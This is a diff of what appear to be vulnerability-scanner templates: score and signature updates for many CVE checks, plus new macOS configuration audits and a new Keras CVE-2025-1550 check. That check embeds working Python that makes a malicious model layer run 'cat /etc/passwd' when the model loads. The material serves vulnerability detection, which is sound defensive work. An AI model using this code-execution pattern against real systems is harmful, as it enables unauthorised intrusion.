+    epss-percentile: 0.985
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -54,4 +54,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a004730450221008b5ac203a17c5ac2495444e747470435d1f73ab86119dbac864498facc0299ba0220706f90afe3ebad35664001b827141b2c9308fbf3c09d879a0fe9232a2602ff14:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f73d9f4fc3a3aed8880a1430f699f69023e7833e8351e956d18e1a4de5c9a059022100acc607af247b858d2dbeaaeb19788fa87f5c8c257d5eef4c730a14265b5ad6f0:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,7 @@ info:
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
    epss-score: 0.93687
-    epss-percentile: 0.99833
+    epss-percentile: 0.99836
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -37,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4b0a00483046022100bcb70958bd42473e557963672c2efd5866879d3fd84e491b51e19b39e53ac0b6022100cec4f199e93652df8d28806d7fa5ebf4e7eee2e68522774ed5ad2fda01bf9d05:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fba9b7ce96c60d4e194065d771cbab582825c6b64723499e38e276b1ecd3b125022100bbd88560d1c2e9389d8650ffab7aafb63f82e11aa085a3a0cd730fc602239516:922c64590222798bb761d5b6d8e72950
@@ -71,4 +71,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4b0a00483046022100c29b03d6ec221f62966546d687c9c8c86e41f5d46f37e8896f3473a10d8b08b3022100867de1666d89e4ae22d98a7a0fd65b75a1716a312aaec979b2fabcd6b2ae1cf9:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205012dfa34c59cd8c58b2a8d322dfe1a761b626450f02f33be3f6cb11184ba68902200124dc4199c2cd9198c30b6a9d0ef9ee33b606261c4c68a815abdb45ce464174:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.85778
-    epss-percentile: 0.99331
+    epss-score: 0.86337
+    epss-percentile: 0.99376
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -59,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a0047304502210092d5ac481a41f2bce742d30e9a53e6cfcce47b99b02f4291b382802664d6f8c80220616412b2e3eab8e90f86485850f7ca389e9ac0b0f1a890e827325eb9677048d9:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022078a01ee20b94790da3982315c5ed7b1a13eeca83b191e88c594c6b4b60b07f74022070d4491ace81ebde4ad76069730353efe465ad9f005ff40206d48e57768e647d:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.16207
-    epss-percentile: 0.94529
+    epss-score: 0.15162
+    epss-percentile: 0.94373
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -29,4 +29,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 490a004630440220549dc564dc5471bdf1dc63334bf0ff6ef0f2c050664a3b06189b22683d31875f02204d49ed2a7bd8a9158503467d45b113fb0e8b20c98a09747235c176e23a8ef696:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025bb9ca5d5e3c155e88a6349c25474d09536ec8a9dfb86cbcf0230f3f2ec0eb702205940ad126592348acc72c9f12d91847c680a4e3ffcf483aaae0a386170ffc573:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.39163
-    epss-percentile: 0.97099
+    epss-score: 0.39537
+    epss-percentile: 0.97152
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a0046304402205e030f7d186f18e2ddf5cd9281a48cb0af2d6ac63498b37cb4a9ce899f84a59e022005a03e6ea351d60b08436740f6db2daf9e303d0323c278f564ab1230e9a678f2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022025e2695f6dee4e95b43c84643e7c85cb0bf28cf3fdf8b4894959635e80626e0f0221009646c3e2186e0d1ba79c11e77b8d9c0dbd44f810d0aeea4d4be20d36928666dd:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.93874
-    epss-percentile: 0.99861
+    epss-score: 0.93851
+    epss-percentile: 0.9986
    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

@@ -145,4 +145,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4b0a00483046022100ec14e45bc6bc3f9a31bebf7c7e91cff5df5cb9159169aa0226e3d067fc01f1e2022100c71d9207b4a6d950032c7216f57a8e2347823a4f8aad944aa50de2e9b4fd6978:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206c2ac11f80afad53a86ab827e780ee274ae4a5b63c5021bb7d7ace5cdbcaf244022100e18d74aa8ae7a55497e8046ca4eeb554a3aa587c4c43d146ec2c9527f700d923:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.84379
-    epss-percentile: 0.99271
+    epss-score: 0.8111
+    epss-percentile: 0.99118
  metadata:
    verified: true
    max-request: 2
@@ -193,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a00473045022100c33a7e4170efd830fed04dc81dff116c0d6de6a7a04013690afafee5aa4dd7eb022016a273dda70ccb4e18af5f17d14d297c9dbcfbe9981b3789e6ea9b4eafeab7a9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100de671c23225d1e5a96652b9c5d8c52451de7b012414cf150b408feb4f44520c302203e00981baecc40b5368c37ef989d83d54f0ada9f50561573dd158be4e8c95d2e:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
    epss-score: 0.41406
-    epss-percentile: 0.97235
+    epss-percentile: 0.97265
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a0047304502204c5b24fda7a91e193ed794e32f38673f924ed17e393ebcb8e6e0e9351a6cde85022100860aa6411a18b6baec11fa99823a8fb2c3ed558adab797c067b1fe8ff009577e:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022011ead060a99e2d767706fef9e561dced0d254510d58f5465d54510ed73c4b7f10220141f828364843b45b7c1c68b9f622e7885f981fa5531b07dd20bf861ac4336ae:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.36115
-    epss-percentile: 0.96904
+    epss-score: 0.55491
+    epss-percentile: 0.97968
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -188,4 +188,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 490a0046304402207d41ce6b6af9c3b0133e15c33183fdce00ba09f874633dbea4f3cb29234c64d8022004ad19707190bb70f9ff118286b04f22a704b252594a598f0b96850afa09a55d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220224f2167f39bdf08b3b35f41065a51bf64c691abd85e731e83cedb49072d5948022100a11dc4449f71ad631de40a9c31b36ae25f277148af103d25bb299a366ebd650f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,80 @@
+id: CVE-2025-1550
+
+info:
+  name: Keras Model.load_model - Arbitrary Code Execution
+  author: nukunga[seunghyeonJeon]
+  severity: critical
+  description: |
+    The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
+  impact: |
+    Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
+  remediation: |
+    Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-1550
+    - https://github.com/keras-team/keras/pull/20751
+    - https://towerofhanoi.it/writeups/cve-2025-1550/
+  classification:
+    epss-score: 0.04785
+    epss-percentile: 0.89114
+  metadata:
+    max-request: 1
+  tags: cve,cve2025,code,keras,rce,ml
+
+self-contained: true
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import os
+      import sys
+
+      try:
+          import tensorflow as tf
+          from tensorflow.keras.models import load_model
+          from tensorflow.keras.layers import Lambda, Input
+          from tensorflow.keras.models import Model
+          import numpy as np
+      except ImportError:
+          sys.exit(1)
+
+      def create_malicious_model():
+          def malicious_function(x):
+              result = os.popen("cat /etc/passwd").read()
+              print(result)
+              return x
+
+          input_layer = Input(shape=(1,))
+          lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
+          model = Model(inputs=input_layer, outputs=lambda_layer)
+          return model
+
+      def exploit_lambda_layer():
+          model_path = "/tmp/malicious_model.keras"
+          try:
+              model = create_malicious_model()
+              model.save(model_path)
+              del model
+
+              loaded_model = load_model(model_path)
+              test_input = np.array([[1.0]])
+              loaded_model.predict(test_input, verbose=0)
+
+              return True
+          except:
+              return False
+          finally:
+              if os.path.exists(model_path):
+                  os.remove(model_path)
+
+      exploit_lambda_layer()
+
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - "root:.*:0:0:"
+# digest: 4b0a00483046022100f9c974d1342e8708aa3077a6128c96ff04b4a9d6b384babe70b53407431f95b7022100d0eb54d40539599a5581ee821cc161125c990c62edd369be39ee7b9b24fe1fb6:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.76863
-    epss-percentile: 0.98898
+    epss-score: 0.73531
+    epss-percentile: 0.98759
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -128,4 +128,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a0047304502203f75dbfaad4ad6b004f89a6abe6b8ff05ec8c740385c91234058adab770eb6ea022100d31419b68e13b98dbfdede575d41d57e7b949ade2001446d470aa73c3a7f4bb4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c09ce6aeded754379d933667aa8f41889afd6f9db37a824803eb9a6ba65b00c7022100e3ee10697ec6ca86ce176402e1f94dd64c416b5c7d09fafeae39b7cfa8a30aab:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
    epss-score: 0.17247
-    epss-percentile: 0.94744
+    epss-percentile: 0.94808
  metadata:
    verified: true
    vendor: gitlab
@@ -78,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a0046304402202d4a3417e1248c02987e65aaa3859a0691580be5c5e6841ef09e1546d4f6ce770220709dc70e279c9f4aa652e8391870e72f9f0ed9badcc811469e6425b2882cd484:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022035e160bbb38a237e69b721ddc41ede645395c3810ddbdcd9c3d4a07abba2736d02210095e143a8520a0853d07c112f8bcda02d97274b028f920b17e68c4af248939757:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.53778
-    epss-percentile: 0.97866
+    epss-score: 0.41165
+    epss-percentile: 0.97248
  metadata:
    verified: true
    max-request: 1
@@ -172,4 +172,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a00473045022100a836215ff57c937a4e67f2d0356c07465020153450ad01d5d8fb3ee70ea58c7d022074f5c22f26df10c73b3c23b69fccd923b643dd8de88c214cfed73f65fc67f2a5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c38125a7a0d59b1de7a78ab478b2c0ca8756640a27d16f398f399bb8a66a69b3022100da35140c48978f4a028103eeb10675d5695246c3273981f1de2b6904a374e690:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.56973
-    epss-percentile: 0.98016
+    epss-score: 0.49642
+    epss-percentile: 0.97684
    cwe-id: CWE-287,CWE-362
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
  metadata:
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a004830460221009e096641682d45560e5ef9e35a24ef1d999c1237e1c7300af90e97c940eda5a1022100af9eb03cc7d7732a901c609bef6ca34d6632f0827751b77c4338a9f26eee5e2c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210088058580c66df8aca655a3b7c587093a5a692b3de81a121f10ab10cb2bccd6b002210091f8604e99e8be712837001d1d724aa81c44cdb122169d05fd6eb3c87110a513:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.28615
-    epss-percentile: 0.96307
+    epss-score: 0.17485
+    epss-percentile: 0.94855
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 4a0a0047304502204e15f75d847313a94159ce612853e8d43c07acd7907aaa6116166434ed694ca6022100b51bf8064525483171bb588675b324c60cbe3f8a3987f86db575d2baeaa20225:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022056787bf8756e1798133235c3e96932e9d1f2990d81082ea814cf1deb41cfb6830220521ecf37a143188dddd7f08185be85555f19dea9c7a89b9b7bf0321f110dabd6:922c64590222798bb761d5b6d8e72950
@@ -18,13 +18,13 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.055
-    epss-percentile: 0.89772
+    epss-score: 0.64548
+    epss-percentile: 0.98373
    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: html:"Watchguard" html:"Authentication Server"
-  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev

 variables:
  HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022100dcff8d2117d05c7f29608fb37b2e2c96880d295642afaa19a7b9fd87fbbe7189022015423b37441c71e3f9b33c8cd1635fd58e97b63018684175eecad56ee9676538:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220646f9753487365203ce100bb8cd6838e8f21623b8098cf98ada0419911a9e7bc022100e5d68d3f7bf05991d430686c895dc883bf78842a7d626866f5b02e024ec10ee4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,34 @@
+id: auto-login-enabled
+
+info:
+  name: macOS Automatic Login Enabled
+  author: geeknik
+  severity: high
+  description: |
+    Checks if automatic login is enabled on macOS, allowing users to log in to the system without entering a password upon startup.
+  impact: |
+    Enabling automatic login can lead to unauthorized access to the user's account and data if the device is physically accessed.
+  remediation: |
+    Disable automatic login to require a password at startup and enhance physical security.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser 2>&1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+
+      - type: word
+        words:
+          - "does not exist"
+        negative: true
+# digest: 4a0a0047304502206e4abbed2d196fdcfbec430b63cb79ec4c970a766ae1dfa5699ed88c1df29841022100be4e6fe238b571547044d2a5d05526f69078c3f5536e4702b018e13149db8a7a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: filevault-disabled
+
+info:
+  name: macOS FileVault Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Identifies if FileVault full-disk encryption is disabled on macOS, leaving data unprotected from unauthorized access.
+  impact: |
+    Disabling FileVault leaves the data on the disk unencrypted and vulnerable to theft or unauthorized access if the device is lost or stolen.
+  remediation: |
+    Enable FileVault to encrypt the entire disk and protect the data at rest.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      fdesetup status
+    matchers:
+      - type: word
+        words:
+          - "FileVault is Off."
+# digest: 4b0a00483046022100dbeda953db252023089741b1ebc7bfe9469e933be51e45c78375eb388a18e01d022100b08c18ef3cbd1adefb1455ae1b792c1647dba4be6856925de6508a35c4066c05:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: firewall-disabled
+
+info:
+  name: macOS Application Firewall Disabled
+  author: geeknik
+  severity: medium
+  description: |
+    Verifies if the macOS application firewall is disabled, removing protection against unauthorized network access by applications.
+  impact: |
+    Disabling the firewall can allow malicious applications to make outbound connections and expose the system to network-based attacks.
+  remediation: |
+    Enable the macOS application firewall to control network access for applications.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
+    matchers:
+      - type: word
+        words:
+          - "Firewall is disabled. (State = 0)"
+# digest: 4b0a00483046022100fec597c208922cff8c5bf96d23a75c06d1192ecc31c5f257bd72cda4b05c3678022100b2899ee2431e105ca31f924e76bc446fa025a9c64b0f62c5268e06af0859be81:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: gatekeeper-disabled
+
+info:
+  name: macOS Gatekeeper Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Checks if Gatekeeper is disabled on macOS, removing verification that downloaded applications are from identified developers.
+  impact: |
+    Disabling Gatekeeper allows the execution of applications from unverified sources, increasing the risk of malware infection.
+  remediation: |
+    Enable Gatekeeper to ensure that only applications from identified developers can be run.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      spctl --status
+    matchers:
+      - type: word
+        words:
+          - "assessments disabled"
+# digest: 4b0a00483046022100c13d86b99f8f878a28f12b93336ffc8b2041992d8469e55e5f4253fe313aaf920221009d4860d4ef526c896fd5ca9018bfec060b55f363a0e8efe3bdbe53c6673bc5ec:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,31 @@
+id: guest-user-enabled
+
+info:
+  name: macOS Guest User Enabled
+  author: geeknik
+  severity: medium
+  description: |
+    Identifies if the guest user account is enabled on macOS, allowing anyone to use the computer without authentication.
+  impact: |
+    Enabling the guest user account can allow unauthorized users to access the system with limited, but potentially risky, privileges.
+  remediation: |
+    Disable the guest user account to reduce the risk of unauthorized access.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      defaults read /Library/Preferences/com.apple.loginwindow GuestEnabled 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^1$"
+# digest: 4a0a00473045022100b56ce36c9516138969ae1baa1b6472abc91525849b6ebf9b1fcfed3a5921a45c0220475f29d019df5ace5aca8e06548449de2807ecdf682073423a0e4c7f4763db8d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-cron-jobs
+
+info:
+  name: macOS World-Writable Cron Jobs
+  author: geeknik
+  severity: medium
+  description: |
+    Finds world-writable cron job files on macOS that can be modified by any user on the system.
+  impact: |
+    World-writable cron job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable cron job files.
+  tags: macos,audit,local,security,cron
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /etc/crontab /var/at/tabs/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 490a00463044022075a77d80b297101e767baa7a3df6a47b36d346be38b58abdd7ea504b7f8b49cb022079d8770c2062a09b57c244e78b22dab6f546cf4d9274013e66ee3dc2baef18b0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-etc-exports-permissions
+
+info:
+  name: macOS Insecure /etc/exports Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Identifies insecure permissions on the /etc/exports file used to configure NFS exports on macOS.
+  impact: |
+    Insecure permissions on /etc/exports could allow unauthorized users to modify the file and gain access to exported filesystems.
+  remediation: |
+    Ensure that the /etc/exports file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security,nfs
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/exports 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4a0a00473045022100f0a90c14abd2b8151c008c14b461df041bd982ed2afe14cdb307fafb20f8934e0220363866f2cc52ca7b8ac63e881c4352af6b44aadf4571832c3cac632cf8a3fbdb:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-etc-fstab-permissions
+
+info:
+  name: macOS Insecure /etc/fstab Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Validates permissions on the /etc/fstab file that defines how disk partitions and filesystems are mounted on macOS.
+  impact: |
+    Insecure permissions on /etc/fstab could allow unauthorized users to modify the file and mount malicious filesystems.
+  remediation: |
+    Ensure that the /etc/fstab file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/fstab 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4a0a00473045022100f63b670201e473559afe079d0f0944bd69bb9c3e624727ade721819c25bef59402205cfe065102455e15e4e85727ea9d8d59c11730662b81b8706d5e4cfd710db02f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-etc-hostconfig-permissions
+
+info:
+  name: macOS Insecure /etc/hostconfig Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Evaluates permissions on the /etc/hostconfig file used to configure system services on macOS.
+  impact: |
+    Insecure permissions on /etc/hostconfig could allow unauthorized users to modify the file and reconfigure system services.
+  remediation: |
+    Ensure that the /etc/hostconfig file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/hostconfig 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4b0a00483046022100d47f5829d759ebef3fbef226cb5a917a07bfff78791407217fd529a265a81876022100cb5bff86e6fa1eaf80f0f189250c9e59236c5c3f074d0499c96d642e6be6e1eb:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-etc-inetd-conf-permissions
+
+info:
+  name: macOS Insecure /etc/inetd.conf Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Verifies permissions on the /etc/inetd.conf file used to configure the inetd daemon on macOS.
+  impact: |
+    Insecure permissions on /etc/inetd.conf could allow unauthorized users to modify the file and enable or disable network services.
+  remediation: |
+    Ensure that the /etc/inetd.conf file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/inetd.conf 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 490a0046304402203a17f921ddd73a973258b7a7fe563d18218462436e060a5b6d27111c18f26f46022035c897ff32e61af7c5bf2dfd63b3c5c318182e88ce292d46962b404675dd93cc:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-homebrew-permissions
+
+info:
+  name: macOS World-Writable Homebrew Files
+  author: geeknik
+  severity: medium
+  description: |
+    Scans for world-writable files in the Homebrew directory that could be exploited for privilege escalation.
+  impact: |
+    World-writable files in the Homebrew directory can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable files in the Homebrew directory.
+  tags: macos,audit,local,security,homebrew
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find $(brew --prefix)/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a0047304502201b6cc3d198cfe7d9f9285a73a3b9fcc416e015ee4418aa7dd46510903c057e68022100800ba72c60fd91ae271f6c627f2c147ff7082f01cde9ef3725453ceb802c1219:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-launchd-jobs
+
+info:
+  name: macOS World-Writable Launchd Jobs
+  author: geeknik
+  severity: medium
+  description: |
+    Searches for world-writable launchd job files on macOS that allow modification by any user.
+  impact: |
+    World-writable launchd job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable launchd job files.
+  tags: macos,audit,local,security,launchd
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /System/Library/LaunchDaemons/ /System/Library/LaunchAgents/ /Library/LaunchDaemons/ /Library/LaunchAgents/ ~/Library/LaunchAgents/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a00473045022100d79cf12bf41b029f55016ee394b8bbe07438a24579d556e97b47fb4cf336c2f102204ddd8161cde0e4501b0af970e45f01dd08aa1146117665257d4e8afd6d2ba8fc:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-startup-items
+
+info:
+  name: macOS World-Writable Startup Items
+  author: geeknik
+  severity: medium
+  description: |
+    Identifies world-writable startup items on macOS that can be tampered with by unprivileged users.
+  impact: |
+    World-writable startup items can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable startup items.
+  tags: macos,audit,local,security,startup
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /System/Library/StartupItems/ /Library/StartupItems/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a00473045022100cdffabfeaa894e26f8e25b8f0e6f3eb621ef7ba02088001a384c45791c7a3be002206670aa650962df9af70ced787fa9058d9e6a5c2573bf3aca920e4eb466b3741d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-sudo-timestamp
+
+info:
+  name: macOS Excessive Sudo Timestamp Timeout
+  author: geeknik
+  severity: medium
+  description: |
+    Checks if the sudo timestamp timeout is configured to an excessively long duration (100+ minutes).
+  impact: |
+    A long sudo timestamp can allow a user to execute commands with root privileges for an extended period of time without re-entering their password.
+  remediation: |
+    Set the sudo timestamp to a reasonable value to reduce the risk of unauthorized access.
+  tags: macos,audit,local,security,sudo
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      grep -E "^Defaults.*timestamp_timeout=" /etc/sudoers
+    matchers:
+      - type: regex
+        regex:
+          - "timestamp_timeout=([1-9][0-9]{2,})"
+# digest: 4a0a00473045022056c70c9e83ca5b06dfd2d6f37d3fac472448c1684e5513de20f012e1c6d79207022100fa6c9d279661d23106d9c0c878ae249adb35cd312d45c18c3f9a6f098d8bf186:922c64590222798bb761d5b6d8e72950
